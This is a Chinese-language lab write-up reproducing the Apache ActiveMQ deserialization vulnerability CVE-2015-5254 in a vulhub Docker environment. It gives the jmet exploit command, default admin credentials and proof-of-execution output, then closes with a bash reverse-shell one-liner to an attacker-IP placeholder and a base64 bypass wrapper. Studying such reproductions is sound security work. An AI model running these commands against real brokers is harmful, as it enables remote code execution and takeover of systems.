ActiveMQ反序列化漏洞复现(CVE-2015-5254)
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
0x01、vulhub还原漏洞环境
开启docker:service docker start
进入文件夹,docker-compose up -d
docker ps可以看到:看到环境搭建后有两个端口,其中 61616是docker的工作端口,8161是我们访问该环境时候用的端口,访问使用192.168.1.128:8161
0x02、漏洞利用工具下载
漏洞利用工具下载地址:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
可以使用wget。
0x03、执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /root/sucess" -Yp ROME 192.168.1.128 61616
使用docker搭建的环境,docker入口就是本机ip+docker端口
该命令会给环境中的ActiveMQ添加一个名为event的队列
我们可以通过这个链接看到添加的队列中的信息:http://45.32.101.90:8161/admin/browse.jsp?JMSDestination=event
管理网站的默认密码是root root或admin admin进去event点击查看这条信息即可触发我们的命令执行。
root@kali:~/漏洞/vulhub/activemq/CVE-2015-5254# docker exec -it edd /bin/bash
root@eddeabd53052:/opt/apache-activemq-5.11.1# ls
LICENSE NOTICE README.txt activemq-all-5.11.1.jar bin conf data docs examples lib tmp webapps webapps-demo
root@eddeabd53052:/opt/apache-activemq-5.11.1# cd /root/
root@eddeabd53052:~# ls
root@eddeabd53052:~# ls
root@eddeabd53052:~# ls
sucess
然后按道理是可以来反弹shell的
bash -i >& /dev/tcp/攻击机IP/8888 0>&1
不过是需要做一下绕过的
bash -c {echo payload的basse64编码}|{base64,-d}|{bash,-i}
反弹shell成功,可以尝试其他命令